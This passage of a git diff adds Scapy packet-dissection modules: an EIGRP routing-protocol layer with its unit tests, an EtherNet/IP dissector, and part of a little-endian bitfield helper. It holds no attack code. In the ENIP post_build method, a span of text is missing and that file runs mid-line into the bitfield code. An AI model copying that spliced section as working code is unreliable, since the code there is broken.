pkt, x): + return IP6Field.h2i(self, pkt, x) + + def i2m(self, pkt, x): + x = inet_pton(socket.AF_INET6, x) + tmp_len = self.length_from(pkt) + tmp_len = self.prefixlen_to_bytelen(tmp_len) + + return x[:tmp_len] + + def m2i(self, pkt, x): + tmp_len = self.length_from(pkt) + + prefixlen = self.prefixlen_to_bytelen(tmp_len) + if tmp_len > 128: + warning("EigrpIP6Field: Prefix length is > 128. Dissection of this packet will fail") # noqa: E501 + else: + pad = b"\x00" * (16 - prefixlen) + x += pad + + return inet_ntop(socket.AF_INET6, x) + + def prefixlen_to_bytelen(self, plen): + plen = plen // 8 + + if plen < 16: + plen += 1 + + return plen + + def i2len(self, pkt, x): + tmp_len = self.length_from(pkt) + tmp_len = self.prefixlen_to_bytelen(tmp_len) + return tmp_len + + def getfield(self, pkt, s): + tmp_len = self.length_from(pkt) + tmp_len = self.prefixlen_to_bytelen(tmp_len) + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + def randval(self): + return IP6Field.randval(self) + + +class EIGRPGeneric(Packet): + name = "EIGRP Generic TLV" + fields_desc = [XShortField("type", 0x0000), + FieldLenField("len", None, "value", "!H", adjust=lambda pkt, x: x + 4), # noqa: E501 + StrLenField("value", b"\x00", length_from=lambda pkt: pkt.len - 4)] # noqa: E501 + + def guess_payload_class(self, p): + return conf.padding_layer + + +class EIGRPParam(EIGRPGeneric): + name = "EIGRP Parameters" + fields_desc = [XShortField("type", 0x0001), + ShortField("len", 12), + # Bandwidth + ByteField("k1", 1), + # Load + ByteField("k2", 0), + # Delay + ByteField("k3", 1), + # Reliability + ByteField("k4", 0), + # MTU + ByteField("k5", 0), + ByteField("reserved", 0), + ShortField("holdtime", 15) + ] + + +class EIGRPAuthData(EIGRPGeneric): + name = "EIGRP Authentication Data" + fields_desc = [XShortField("type", 0x0002), + FieldLenField("len", None, "authdata", "!H", adjust=lambda pkt, x: x + 24), # noqa: E501 + ShortEnumField("authtype", 2, {2: "MD5"}), + ShortField("keysize", None), + IntField("keyid", 1), + StrFixedLenField("nullpad", b"\x00" * 12, 12), + StrLenField("authdata", RandString(16), length_from=lambda pkt: pkt.keysize) # noqa: E501 + ] + + def post_build(self, p, pay): + p += pay + + if self.keysize is None: + keysize = len(self.authdata) + p = p[:6] + chb((keysize >> 8) & 0xff) + chb(keysize & 0xff) + p[8:] # noqa: E501 + + return p + + +class EIGRPSeq(EIGRPGeneric): + name = "EIGRP Sequence" + fields_desc = [XShortField("type", 0x0003), + ShortField("len", None), + ByteField("addrlen", 4), + ConditionalField(IPField("ipaddr", "192.168.0.1"), + lambda pkt:pkt.addrlen == 4), + ConditionalField(IP6Field("ip6addr", "2001::"), + lambda pkt:pkt.addrlen == 16) + ] + + def post_build(self, p, pay): + p += pay + + if self.len is None: + tmp_len = len(p) + tmp_p = p[:2] + chb((tmp_len >> 8) & 0xff) + p = tmp_p + chb(tmp_len & 0xff) + p[4:] + + return p + + +class ShortVersionField(ShortField): + def i2repr(self, pkt, x): + try: + minor = x & 0xff + major = (x >> 8) & 0xff + except TypeError: + return "unknown" + else: + # We print a leading 'v' so that these values don't look like floats # noqa: E501 + return "v%s.%s" % (major, minor) + + def h2i(self, pkt, x): + """The field accepts string values like v12.1, v1.1 or integer values. + String values have to start with a "v" folled by a floating point number. + Valid numbers are between 0 and 255. + """ + + if isinstance(x, str) and x.startswith("v") and len(x) <= 8: + major = int(x.split(".")[0][1:]) + minor = int(x.split(".")[1]) + + return (major << 8) | minor + + elif isinstance(x, int) and 0 <= x <= 65535: + return x + else: + if not hasattr(self, "default"): + return x + if self.default is not None: + warning("set value to default. Format of %r is invalid" % x) + return self.default + else: + raise Scapy_Exception("Format of value is invalid") + + def randval(self): + return RandShort() + + +class EIGRPSwVer(EIGRPGeneric): + name = "EIGRP Software Version" + fields_desc = [XShortField("type", 0x0004), + ShortField("len", 8), + ShortVersionField("ios", "v12.0"), + ShortVersionField("eigrp", "v1.2") + ] + + +class EIGRPNms(EIGRPGeneric): + name = "EIGRP Next Multicast Sequence" + fields_desc = [XShortField("type", 0x0005), + ShortField("len", 8), + IntField("nms", 2) + ] + + +# Don't get confused by the term "receive-only". This flag is always set, when you configure # noqa: E501 +# one of the stub options. It's also the only flag set, when you configure "eigrp stub receive-only". # noqa: E501 +_EIGRP_STUB_FLAGS = ["connected", "static", "summary", "receive-only", "redistributed", "leak-map"] # noqa: E501 + + +class EIGRPStub(EIGRPGeneric): + name = "EIGRP Stub Router" + fields_desc = [XShortField("type", 0x0006), + ShortField("len", 6), + FlagsField("flags", 0x000d, 16, _EIGRP_STUB_FLAGS)] + +# Delay 0xffffffff == Destination Unreachable + + +class EIGRPIntRoute(EIGRPGeneric): + name = "EIGRP Internal Route" + fields_desc = [XShortField("type", 0x0102), + FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 25), # noqa: E501 + IPField("nexthop", "192.168.0.0"), + IntField("delay", 128000), + IntField("bandwidth", 256), + ThreeBytesField("mtu", 1500), + ByteField("hopcount", 0), + ByteField("reliability", 255), + ByteField("load", 0), + XShortField("reserved", 0), + ByteField("prefixlen", 24), + EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen), # noqa: E501 + ] + + +_EIGRP_EXTERNAL_PROTOCOL_ID = { + 0x01: "IGRP", + 0x02: "EIGRP", + 0x03: "Static Route", + 0x04: "RIP", + 0x05: "Hello", + 0x06: "OSPF", + 0x07: "IS-IS", + 0x08: "EGP", + 0x09: "BGP", + 0x0A: "IDRP", + 0x0B: "Connected Link" +} + +_EIGRP_EXTROUTE_FLAGS = ["external", "candidate-default"] + + +class EIGRPExtRoute(EIGRPGeneric): + name = "EIGRP External Route" + fields_desc = [XShortField("type", 0x0103), + FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 45), # noqa: E501 + IPField("nexthop", "192.168.0.0"), + IPField("originrouter", "192.168.0.1"), + IntField("originasn", 0), + IntField("tag", 0), + IntField("externalmetric", 0), + ShortField("reserved", 0), + ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID), # noqa: E501 + FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS), + IntField("delay", 0), + IntField("bandwidth", 256), + ThreeBytesField("mtu", 1500), + ByteField("hopcount", 0), + ByteField("reliability", 255), + ByteField("load", 0), + XShortField("reserved2", 0), + ByteField("prefixlen", 24), + EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen) # noqa: E501 + ] + + +class EIGRPv6IntRoute(EIGRPGeneric): + name = "EIGRP for IPv6 Internal Route" + fields_desc = [XShortField("type", 0x0402), + FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 37), # noqa: E501 + IP6Field("nexthop", "::"), + IntField("delay", 128000), + IntField("bandwidth", 256000), + ThreeBytesField("mtu", 1500), + ByteField("hopcount", 1), + ByteField("reliability", 255), + ByteField("load", 0), + XShortField("reserved", 0), + ByteField("prefixlen", 16), + EigrpIP6Field("dst", "2001::", length_from=lambda pkt: pkt.prefixlen) # noqa: E501 + ] + + +class EIGRPv6ExtRoute(EIGRPGeneric): + name = "EIGRP for IPv6 External Route" + fields_desc = [XShortField("type", 0x0403), + FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 57), # noqa: E501 + IP6Field("nexthop", "::"), + IPField("originrouter", "192.168.0.1"), + IntField("originasn", 0), + IntField("tag", 0), + IntField("externalmetric", 0), + ShortField("reserved", 0), + ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID), # noqa: E501 + FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS), + IntField("delay", 0), + IntField("bandwidth", 256000), + ThreeBytesField("mtu", 1500), + ByteField("hopcount", 1), + ByteField("reliability", 0), + ByteField("load", 1), + XShortField("reserved2", 0), + ByteField("prefixlen", 8), + EigrpIP6Field("dst", "::", length_from=lambda pkt: pkt.prefixlen) # noqa: E501 + ] + + +_eigrp_tlv_cls = { + 0x0001: "EIGRPParam", + 0x0002: "EIGRPAuthData", + 0x0003: "EIGRPSeq", + 0x0004: "EIGRPSwVer", + 0x0005: "EIGRPNms", + 0x0006: "EIGRPStub", + 0x0102: "EIGRPIntRoute", + 0x0103: "EIGRPExtRoute", + 0x0402: "EIGRPv6IntRoute", + 0x0403: "EIGRPv6ExtRoute" +} + + +class RepeatedTlvListField(PacketListField): + def __init__(self, name, default, cls): + PacketField.__init__(self, name, default, cls) + + def getfield(self, pkt, s): + lst = [] + remain = s + while len(remain) > 0: + p = self.m2i(pkt, remain) + if conf.padding_layer in p: + pad = p[conf.padding_layer] + remain = pad.load + del(pad.underlayer.payload) + else: + remain = b"" + lst.append(p) + return remain, lst + + def addfield(self, pkt, s, val): + return s + b"".join(raw(v) for v in val) + + +def _EIGRPGuessPayloadClass(p, **kargs): + cls = conf.raw_layer + if len(p) >= 2: + t = struct.unpack("!H", p[:2])[0] + clsname = _eigrp_tlv_cls.get(t, "EIGRPGeneric") + cls = globals()[clsname] + return cls(p, **kargs) + + +_EIGRP_OPCODES = {1: "Update", + 2: "Request", + 3: "Query", + 4: "Replay", + 5: "Hello", + 6: "IPX SAP", + 10: "SIA Query", + 11: "SIA Reply"} + +# The Conditional Receive bit is used for reliable multicast communication. +# Update-Flag: Not sure if Cisco calls it that way, but it's set when neighbors +# are exchanging routing information +_EIGRP_FLAGS = ["init", "cond-recv", "unknown", "update"] + + +class EIGRP(Packet): + name = "EIGRP" + fields_desc = [ByteField("ver", 2), + ByteEnumField("opcode", 5, _EIGRP_OPCODES), + XShortField("chksum", None), + FlagsField("flags", 0, 32, _EIGRP_FLAGS), + IntField("seq", 0), + IntField("ack", 0), + IntField("asn", 100), + RepeatedTlvListField("tlvlist", [], _EIGRPGuessPayloadClass) + ] + + def post_build(self, p, pay): + p += pay + if self.chksum is None: + c = checksum(p) + p = p[:2] + chb((c >> 8) & 0xff) + chb(c & 0xff) + p[4:] + return p + + def mysummary(self): + summarystr = "EIGRP (AS=%EIGRP.asn% Opcode=%EIGRP.opcode%" + if self.opcode == 5 and self.ack != 0: + summarystr += " (ACK)" + if self.flags != 0: + summarystr += " Flags=%EIGRP.flags%" + + return self.sprintf(summarystr + ")") + + +bind_layers(IP, EIGRP, proto=88) +bind_layers(IPv6, EIGRP, nh=88) diff --git a/libs/scapy/contrib/eigrp.uts b/libs/scapy/contrib/eigrp.uts new file mode 100755 index 0000000..cee8a23 --- /dev/null +++ b/libs/scapy/contrib/eigrp.uts @@ -0,0 +1,247 @@ +% EIGRP Tests +* Tests for the Scapy EIGRP layer + ++ Basic Layer Tests +* These are just some basic tests + += EIGRP IPv4 Binding +~ eigrp_ipv4_binding +p = IP()/EIGRP() +p[IP].proto == 88 + += EIGRP IPv6 Binding +~ eigrp_ipv6_binding +p = IPv6()/EIGRP() +p[IPv6].nh == 88 + += EIGRP checksum field +~ eigrp_chksum_field +p = IP()/EIGRP(flags=0xa, seq=23, ack=42, asn=100) +s = p[EIGRP].build() +struct.unpack("!H", s[2:4])[0] == 64843 + ++ Custom Field Tests +* Test funciontally of custom made fields + += ShortVersionField nice representation +f = ShortVersionField("ver", 3072) +f.i2repr(None, 3072) == "v12.0" and f.i2repr(None, 258) == "v1.2" + += ShortVersionField h2i function +f = ShortVersionField("ver", 0) +f.h2i(None, 3073) == f.h2i(None, "v12.1") + += ShortVersionField error +try: + f = ShortVersionField("ver", None) + f.h2i(None, "Error") + assert False +except Scapy_Exception: + assert True + +f = ShortVersionField("ver", "default") +assert f.h2i(None, "Error") == "default" +assert f.i2repr(None, "Error") == "unknown" +assert f.randval() <= 65535 + += EigrpIPField length with prefix length of 8 bit +f = EigrpIPField("ipaddr", "192.168.1.0", length=8) +assert f.m2i(None, b"\x01") == '1.0.0.0' +assert f.i2m(None, "1.0.0.0") == b"\x01" +assert f.i2len(None, "") == 1 + += EigrpIPField length with prefix length of 12 bit +f = EigrpIPField("ipaddr", "192.168.1.0", length=12) +assert f.m2i(None, b"\x01\x02") == '1.2.0.0' +assert f.i2len(None, "") == 2 + += EigrpIPField length with prefix length of 24 bit +f = EigrpIPField("ipaddr", "192.168.1.0", length=24) +assert f.m2i(None, b"\x01\x02\x03") == '1.2.3.0' +assert f.i2len(None, "") == 3 + += EigrpIPField length with prefix length of 28 bit +f = EigrpIPField("ipaddr", "192.168.1.0", length=28) +assert f.m2i(None, b"\x01\x02\x03\x04") == '1.2.3.4' +assert f.i2len(None, "") == 4 + += EigrpIPField randval +assert inet_pton(socket.AF_INET, f.randval()) + += EigrpIP6Field length with prefix length of 8 bit +f = EigrpIP6Field("ipaddr", "2000::", length=8) +f.i2len(None, "") == 2 + += EigrpIP6Field length with prefix length of 99 bit +f = EigrpIP6Field("ipaddr", "2000::", length=99) +f.i2len(None, "") == 13 + += EigrpIP6Field length with prefix length of 128 bit +f = EigrpIP6Field("ipaddr", "2000::", length=128) +f.i2len(None, "") == 16 + += EigrpIP6Field randval +assert inet_pton(socket.AF_INET6, f.randval()) + += EIGRPGuessPayloadClass function: Return Parameters TLV +from scapy.contrib.eigrp import _EIGRPGuessPayloadClass +isinstance(_EIGRPGuessPayloadClass(b"\x00\x01"), EIGRPParam) + += EIGRPGuessPayloadClass function: Return Authentication Data TLV +isinstance(_EIGRPGuessPayloadClass(b"\x00\x02"), EIGRPAuthData) + += EIGRPGuessPayloadClass function: Return Sequence TLV +isinstance(_EIGRPGuessPayloadClass(b"\x00\x03"), EIGRPSeq) + += EIGRPGuessPayloadClass function: Return Software Version TLV +isinstance(_EIGRPGuessPayloadClass(b"\x00\x04"), EIGRPSwVer) + += EIGRPGuessPayloadClass function: Return Next Multicast Sequence TLV +isinstance(_EIGRPGuessPayloadClass(b"\x00\x05"), EIGRPNms) + += EIGRPGuessPayloadClass function: Return Stub Router TLV +isinstance(_EIGRPGuessPayloadClass(b"\x00\x06"), EIGRPStub) + += EIGRPGuessPayloadClass function: Return Internal Route TLV +isinstance(_EIGRPGuessPayloadClass(b"\x01\x02"), EIGRPIntRoute) + += EIGRPGuessPayloadClass function: Return External Route TLV +isinstance(_EIGRPGuessPayloadClass(b"\x01\x03"), EIGRPExtRoute) + += EIGRPGuessPayloadClass function: Return IPv6 Internal Route TLV +isinstance(_EIGRPGuessPayloadClass(b"\x04\x02"), EIGRPv6IntRoute) + += EIGRPGuessPayloadClass function: Return IPv6 External Route TLV +isinstance(_EIGRPGuessPayloadClass(b"\x04\x03"), EIGRPv6ExtRoute) + += EIGRPGuessPayloadClass function: Return EIGRPGeneric +isinstance(_EIGRPGuessPayloadClass(b"\x23\x42"), EIGRPGeneric) + ++ TLV List + += EIGRP parameters and software version +p = IP()/EIGRP(tlvlist=[EIGRPParam()/EIGRPSwVer()]) +s = b'\x45\x00\x00\x3C\x00\x01\x00\x00\x40\x58\x7C\x67\x7F\x00\x00\x01\x7F\x00\x00\x01\x02\x05\xEE\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x01\x00\x0C\x01\x00\x01\x00\x00\x00\x00\x0F\x00\x04\x00\x08\x0C\x00\x01\x02' +raw(p) == s + += EIGRP Sequence +p = EIGRP(tlvlist=[EIGRPSeq(addrlen=16, ip6addr="45e4:0ecf:cff3:7be2:6059:771e:a221:3342")]) +assert raw(p) == b'\x02\x05\x881\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x03\x00\x15\x10E\xe4\x0e\xcf\xcf\xf3{\xe2`Yw\x1e\xa2!3B' +p = EIGRP(raw(p)) +assert p.tlvlist[0].ip6addr == "45e4:ecf:cff3:7be2:6059:771e:a221:3342" + += EIGRP Generic +p = EIGRP(opcode=5, ack=1, flags="init", tlvlist=[EIGRPGeneric(value=b"data"), EIGRPGeneric(value=b"doto")]) +p = EIGRP(raw(p)) +assert p.tlvlist[1].value == b"doto" +assert p.tlvlist[1].len == 8 +assert p.summary() == 'EIGRP (AS=100 Opcode=Hello (ACK) Flags=init)' + += EIGRP internal route length field +p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(prefixlen=24, dst="192.168.1.0")]) +struct.unpack("!H", p[EIGRPIntRoute].build()[2:4])[0] == 28 +p = IP(raw(p)) +assert p.tlvlist[0].prefixlen == 24 +assert p.tlvlist[0].dst == "192.168.1.0" + += EIGRP external route length field +p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(prefixlen=16, dst="10.1.0.0")]) +struct.unpack("!H", p[EIGRPExtRoute].build()[2:4])[0] == 47 + += EIGRPv6 internal route length field +p = IP()/EIGRP(tlvlist=[EIGRPv6IntRoute(prefixlen=64, dst="2000::")]) +struct.unpack("!H", p[EIGRPv6IntRoute].build()[2:4])[0] == 46 +p = IP(raw(p)) +assert p.tlvlist[0].prefixlen == 64 +assert p.tlvlist[0].dst == "2000::" + += EIGRPv6 external route length field +p = IP()/EIGRP(tlvlist=[EIGRPv6ExtRoute(prefixlen=99, dst="2000::")]) +struct.unpack("!H", p[EIGRPv6ExtRoute].build()[2:4])[0] == 70 + ++ Stub Flags +* The receive-only flag is always set, when a router anounces itself as stub router. + += Receive-Only +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="receive-only")]) +p[EIGRPStub].flags == 0x0008 + += Connected +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+receive-only")]) +p[EIGRPStub].flags == 0x0009 + += Static +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+receive-only")]) +p[EIGRPStub].flags == 0x000a + += Summary +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="summary+receive-only")]) +p[EIGRPStub].flags == 0x000c + += Connected, Summary +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+summary+receive-only")]) +p[EIGRPStub].flags == 0x000d + += Static, Summary +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+summary+receive-only")]) +p[EIGRPStub].flags == 0x000e + += Redistributed, Connected +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+receive-only")]) +p[EIGRPStub].flags == 0x0019 + += Redistributed, Static +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+receive-only")]) +p[EIGRPStub].flags == 0x001a + += Redistributed, Static, Connected +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+connected+receive-only")]) +p[EIGRPStub].flags == 0x001b + += Redistributed, Summary +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+summary+receive-only")]) +p[EIGRPStub].flags == 0x001c + += Redistributed, Connected, Summary +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+summary+receive-only")]) +p[EIGRPStub].flags == 0x001d + += Connected, Redistributed, Static, Summary +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+redistributed+static+summary+receive-only")]) +p[EIGRPStub].flags == 0x001f + += Leak-Map +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="leak-map+receive-only")]) +p[EIGRPStub].flags == 0x0028 + += Connected, Leak-Map +p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+leak-map+receive-only")]) +p[EIGRPStub].flags == 0x0029 + ++ Routing Updates + += External route flag external +p = EIGRPExtRoute(flags="external") +p.flags == 0x1 + += External route flag candidate-default route +p = EIGRPExtRoute(flags="candidate-default") +p.flags == 0x2 + += Multiple internal routing updates +p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(), EIGRPIntRoute(hopcount=12), EIGRPIntRoute()]) +p[EIGRPIntRoute:2].hopcount == 12 + += Multiple external routing updates +p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(), EIGRPExtRoute(mtu=23), EIGRPExtRoute()]) +p[EIGRPExtRoute:2].mtu == 23 + ++ Authentication Data TLV + += Verify keysize calculation +p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata=b"\xaa\xbb\xcc")]) +p[EIGRPAuthData].build()[6:8] == b"\x00\x03" + += Verify length calculation +p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata=b"\xaa\xbb\xcc\xdd")]) +p[EIGRPAuthData].build()[2:4] == b"\x00\x1c" diff --git a/libs/scapy/contrib/enipTCP.py b/libs/scapy/contrib/enipTCP.py new file mode 100755 index 0000000..b50fe62 --- /dev/null +++ b/libs/scapy/contrib/enipTCP.py @@ -0,0 +1,228 @@ +# coding: utf8 + +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = EtherNet/IP +# scapy.contrib.status = loads + +# Copyright (C) 2019 Jose Diogo Monteiro +# Based on https://github.com/scy-phy/scapy-cip-enip +# Routines for EtherNet/IP (Industrial Protocol) dissection +# EtherNet/IP Home: www.odva.org + +import struct +from scapy.packet import Packet, bind_layers +from scapy.layers.inet import TCP +from scapy.fields import LEShortField, LEShortEnumField, LEIntEnumField, \ + LEIntField, LELongField, FieldLenField, PacketListField, ByteField, \ + PacketField, MultipleTypeField, StrLenField, StrFixedLenField, \ + XLEIntField, XLEStrLenField + +_commandIdList = { + 0x0004: "ListServices", # Request Struct Don't Have Command Spec Data + 0x0063: "ListIdentity", # Request Struct Don't Have Command Spec Data + 0x0064: "ListInterfaces", # Request Struct Don't Have Command Spec Data + 0x0065: "RegisterSession", # Request Structure = Reply Structure + 0x0066: "UnregisterSession", # Don't Have Command Specific Data + 0x006f: "SendRRData", # Request Structure = Reply Structure + 0x0070: "SendUnitData", # There is no reply + 0x0072: "IndicateStatus", + 0x0073: "Cancel" +} + +_statusList = { + 0: "success", + 1: "invalid_cmd", + 2: "no_resources", + 3: "incorrect_data", + 100: "invalid_session", + 101: "invalid_length", + 105: "unsupported_prot_rev" +} + +_itemID = { + 0x0000: "Null Address Item", + 0x00a1: "Connection-based Address Item", + 0x00b1: "Connected Transport packet Data Item", + 0x00b2: "Unconnected message Data Item", + 0x8000: "Sockaddr Info, originator-to-target Data Item", + 0x8001: "Sockaddr Info, target-to-originator Data Item" +} + + +class ItemData(Packet): + """Common Packet Format""" + name = "Item Data" + fields_desc = [ + LEShortEnumField("typeId", 0, _itemID), + LEShortField("length", 0), + XLEStrLenField("data", "", length_from=lambda pkt: pkt.length), + ] + + def extract_padding(self, s): + return '', s + + +class EncapsulatedPacket(Packet): + """Encapsulated Packet""" + name = "Encapsulated Packet" + fields_desc = [LEShortField("itemCount", 2), PacketListField( + "item", None, ItemData, count_from=lambda pkt: pkt.itemCount), ] + + +class BaseSendPacket(Packet): + """ Abstract Class""" + fields_desc = [ + LEIntField("interfaceHandle", 0), + LEShortField("timeout", 0), + PacketField("encapsulatedPacket", None, EncapsulatedPacket), + ] + + +class CommandSpecificData(Packet): + """Command Specific Data Field Default""" + pass + + +class ENIPSendUnitData(BaseSendPacket): + """Send Unit Data Command Field""" + name = "ENIPSendUnitData" + + +class ENIPSendRRData(BaseSendPacket): + """Send RR Data Command Field""" + name = "ENIPSendRRData" + + +class ENIPListInterfacesReplyItems(Packet): + """List Interfaces Items Field""" + name = "ENIPListInterfacesReplyItems" + fields_desc = [ + LEIntField("itemTypeCode", 0), + FieldLenField("itemLength", 0, length_of="itemData"), + StrLenField("itemData", "", length_from=lambda pkt: pkt.itemLength), + ] + + +class ENIPListInterfacesReply(Packet): + """List Interfaces Command Field""" + name = "ENIPListInterfacesReply" + fields_desc = [ + FieldLenField("itemCount", 0, count_of="identityItems"), + PacketField("identityItems", 0, ENIPListInterfacesReplyItems), + ] + + +class ENIPListIdentityReplyItems(Packet): + """List Identity Items Field""" + name = "ENIPListIdentityReplyItems" + fields_desc = [ + LEIntField("itemTypeCode", 0), + FieldLenField("itemLength", 0, length_of="itemData"), + StrLenField("itemData", "", length_from=lambda pkt: pkt.item_length), + ] + + +class ENIPListIdentityReply(Packet): + """List Identity Command Field""" + name = "ENIPListIdentityReply" + fields_desc = [ + FieldLenField("itemCount", 0, count_of="identityItems"), + PacketField("identityItems", None, ENIPListIdentityReplyItems), + ] + + +class ENIPListServicesReplyItems(Packet): + """List Services Items Field""" + name = "ENIPListServicesReplyItems" + fields_desc = [ + LEIntField("itemTypeCode", 0), + LEIntField("itemLength", 0), + ByteField("version", 1), + ByteField("flag", 0), + StrFixedLenField("serviceName", None, 16 * 4), + ] + + +class ENIPListServicesReply(Packet): + """List Services Command Field""" + name = "ENIPListServicesReply" + fields_desc = [ + FieldLenField("itemCount", 0, count_of="identityItems"), + PacketField("targetItems", None, ENIPListServicesReplyItems), + ] + + +class ENIPRegisterSession(CommandSpecificData): + """Register Session Command Field""" + name = "ENIPRegisterSession" + fields_desc = [ + LEShortField("protocolVersion", 1), + LEShortField("options", 0) + ] + + +class ENIPTCP(Packet): + """Ethernet/IP packet over TCP""" + name = "ENIPTCP" + fields_desc = [ + LEShortEnumField("commandId", None, _commandIdList), + LEShortField("length", 0), + XLEIntField("session", 0), + LEIntEnumField("status", None, _statusList), + LELongField("senderContext", 0), + LEIntField("options", 0), + MultipleTypeField( + [ + # List Services Reply + (PacketField("commandSpecificData", ENIPListServicesReply, + ENIPListServicesReply), + lambda pkt: pkt.commandId == 0x4), + # List Identity Reply + (PacketField("commandSpecificData", ENIPListIdentityReply, + ENIPListIdentityReply), + lambda pkt: pkt.commandId == 0x63), + # List Interfaces Reply + (PacketField("commandSpecificData", ENIPListInterfacesReply, + ENIPListInterfacesReply), + lambda pkt: pkt.commandId == 0x64), + # Register Session + (PacketField("commandSpecificData", ENIPRegisterSession, + ENIPRegisterSession), + lambda pkt: pkt.commandId == 0x65), + # Send RR Data + (PacketField("commandSpecificData", ENIPSendRRData, + ENIPSendRRData), + lambda pkt: pkt.commandId == 0x6f), + # Send Unit Data + (PacketField("commandSpecificData", ENIPSendUnitData, + ENIPSendUnitData), + lambda pkt: pkt.commandId == 0x70), + ], + PacketField( + "commandSpecificData", + None, + CommandSpecificData) # By default + ), + ] + + def post_build(self, pkt, pay): + if self.length is None and pay: + pkt = pkt[:2] + struct.pack(" error + raise LEBitFieldSequenceException('Missing further LEBitField ' + 'based fields after field ' + '{} '.format(self.name)) + + def addfield(self, pkt, s, val): + """ + + :param pkt: packet instance the raw string s and field belongs to + :param s: raw string representing the frame + :param val: value + :return: final raw string, tuple (s, bitsdone, data) if in between bit field # noqa: E501 + + as we don't know the final size of the full bitfield we need to accumulate the data. # noqa: E501 + if we reach a field that ends at a octet boundary, we build the whole string # noqa: E501 + + """ + if type(s) is tuple and len(s) == 4: + s, bitsdone, data, _ = s + self._check_field_type(pkt, -1) + else: + # this is the first bit field in the set + bitsdone = 0 + data = [] + + bitsdone += self.size + data.append((self.size, self.i2m(pkt, val))) + + if bitsdone % 8: + # somewhere in between bit 0 .. 7 - next field should add more bits... # noqa: E501 + self._check_field_type(pkt, 1) + return s, bitsdone, data, type(LEBitField) + else: + data.reverse() + octet = 0 + remaining_len = 8 + octets = bytearray() + for size, val in data: + + while True: + if size < remaining_len: + remaining_len = remaining_len - size + octet |= val << remaining_len + break + + elif size > remaining_len: + # take the leading bits and add them to octet + size -= remaining_len + octet |= val >> size + octets = struct.pack('!B', octet) + octets + + octet = 0 + remaining_len = 8 + # delete all consumed bits + # TODO: do we need to add a check for bitfields > 64 bits to catch overruns here? # noqa: E501 + val &= ((2 ** size) - 1) + continue + else: + # size == remaining len + octet |= val + octets = struct.pack('!B', octet) + octets + octet = 0 + remaining_len = 8 + break + + return s + octets + + def getfield(self, pkt, s): + + """ + extract data from raw str + + collect all instances belonging to the bit field set. + if we reach a field that ends at a octet boundary, dissect the whole bit field at once # noqa: E501 + + :param pkt: packet instance the field belongs to + :param s: raw string representing the frame -or- tuple containing raw str, number of bits and array of fields # noqa: E501 + :return: tuple containing raw str, number of bits and array of fields -or- remaining raw str and value of this # noqa: E501 + """ + + if type(s) is tuple and len(s) == 3: + s, bits_in_set, fields = s + else: + bits_in_set = 0 + fields = [] + + bits_in_set += self.size + + fields.append(self) + + if bits_in_set % 8: + # we are in between the bitfield + return (s, bits_in_set, fields), None + + else: + cur_val = 0 + cur_val_bit_idx = 0 + this_val = 0 + + field_idx = 0 + field = fields[field_idx] + field_required_bits = field.size + idx = 0 + + s = bytearray(s) + bf_total_byte_length = bits_in_set // 8 + + for octet in s[0:bf_total_byte_length]: + idx += 1 + + octet_bits_left = 8 + + while octet_bits_left: + + if field_required_bits == octet_bits_left: + # whole field fits into remaining bits + # as this also signals byte-alignment this should exit the inner and outer loop # noqa: E501 + cur_val |= octet << cur_val_bit_idx + pkt.fields[field.name] = cur_val + + ''' + TODO: check if do_dessect() needs a non-None check for assignment to raw_packet_cache_fields # noqa: E501 + + setfieldval() is evil as it sets raw_packet_cache_fields to None - but this attribute # noqa: E501 + is accessed in do_dissect() without checking for None... exception is caught and the # noqa: E501 + user ends up with a layer decoded as raw... + + pkt.setfieldval(field.name, int(bit_str[:field.size], 2)) # noqa: E501 + ''' + + octet_bits_left = 0 + + this_val = cur_val + + elif field_required_bits < octet_bits_left: + # pick required bits + cur_val |= (octet & ((2 ** field_required_bits) - 1)) << cur_val_bit_idx # noqa: E501 + pkt.fields[field.name] = cur_val + + # remove consumed bits + octet >>= field_required_bits + octet_bits_left -= field_required_bits + + # and move to the next field + field_idx += 1 + field = fields[field_idx] + field_required_bits = field.size + cur_val_bit_idx = 0 + cur_val = 0 + + elif field_required_bits > octet_bits_left: + # take remaining bits + cur_val |= octet << 